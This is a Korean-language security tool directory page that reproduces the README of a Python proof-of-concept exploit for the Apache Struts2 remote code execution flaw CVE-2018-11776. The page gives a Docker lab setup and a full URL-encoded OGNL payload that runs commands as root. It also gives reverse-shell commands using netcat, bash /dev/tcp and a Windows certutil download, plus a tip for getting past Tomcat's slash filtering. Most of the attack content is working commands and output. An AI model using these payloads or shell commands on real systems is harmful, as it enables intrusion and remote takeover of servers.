Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-11776-Python-PoC — CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, Docker 랩 포함 | Kitploit
도구/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload DevelopmentLabs & Practice
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, Docker 랩 포함

저장소 보기
1234938년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), @hook_s3c 트위터에서

CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, 원래 다음에서 등장했습니다; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

무슨 일인가요?

Semmle의 Man Yue Mo가 Struts2 RCE 취약점을 발표했습니다. 이 취약점은 요청의 URL 경로에 인코딩된 페이로드로 전달됩니다.

영향을 받는 버전은 2.3부터 2.3.34까지, 그리고 2.5부터 2.5.16까지입니다.

기본 구성은 취약하지 않지만, 잘못 구성된 경우... 망합니다.

도커 인스턴스 설정

익스플로잇은 cve-2017-5638용으로 빌드된 도커 컨테이너(struts2-showcase-2.3.12)에서 잘 작동합니다.

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

취약한 설정 구성

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

아래 구성을 추가합니다;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

그리고 또한;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

tomcat 및/또는 컨테이너를 재시작합니다

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

대상이 취약한지 확인

리디렉션 및 평가가 발생하는지 URL을 테스트합니다;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

테스트 스크립트 사용;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

명령 실행 PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

리버스 셸

리버스 셸을 받을 준비를 하세요;

root@kitploit:~
$ netcat -lvp 31337

스크립트 실행;

root@kitploit:~
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

32771을 노출된 컨테이너 포트로 바꾸세요.

Bash를 통한 업데이트된 방법, 이제 슬래시 지원.

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

윈도우 리버스 셸 (테스트되지 않음)

root@kitploit:~
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

디버그 지옥 (참고사항)

슬래시(/)가 포함된 모든 요청은 Tomcat이 이를 적극적으로 차단하기 때문에 실패합니다. 이를 우회해야 할 수도 있습니다. 예를 들어 위 예제에서 /bin/bash 대신 $SHELL과 같은 환경 변수를 사용하는 방법이 있습니다.

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

이 점을 고려할 때, 윈도우의 /c 플래그는 예상대로 작동하지 않습니다. 저는 이 도커 컨테이너에서만 테스트했습니다.

업데이트

@Menin_TheMiddle 님이 슬래시 문제를 해결할 수 있음을 보여주셔서 감사합니다. 이제 코드는 슬래시를 지원하므로 netcat 없이 bash를 통한 리버스 셸도 가능해졌으며, 이제 윈도우 인스턴스도 지원합니다(테스트되지 않음).

완화 방법

Struts를 패치하거나, 그냥 사용하지 마세요.

침해를 당하고 모든 고객 정보가 유출된다면 항상 신원 사기 제품을 팔 수 있다고 생각합니다! (당신이 누군지 알겠습니다, 완전 쓰레기)

크레딧

다음 분들께 감사드립니다;

  • Man Yue Mo, Semmle - 취약점을 공개해준 (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity - Dockerfile 랩과 OGNL 페이로드 예제를 제공해준 (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x - 방법에 대한 글을 써준 (https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7 - 테스트를 해준 (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle - 글을 써주고 (https://www.secjuice.com/apache-struts2-cve-2018-11776/) 저를 제자리로 돌려놓은 :) 이제 코드가 마침내 윈도우와 bash 리버스 셸을 지원합니다

인사

vap0rsquad에게 외친다!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

도구 다운로드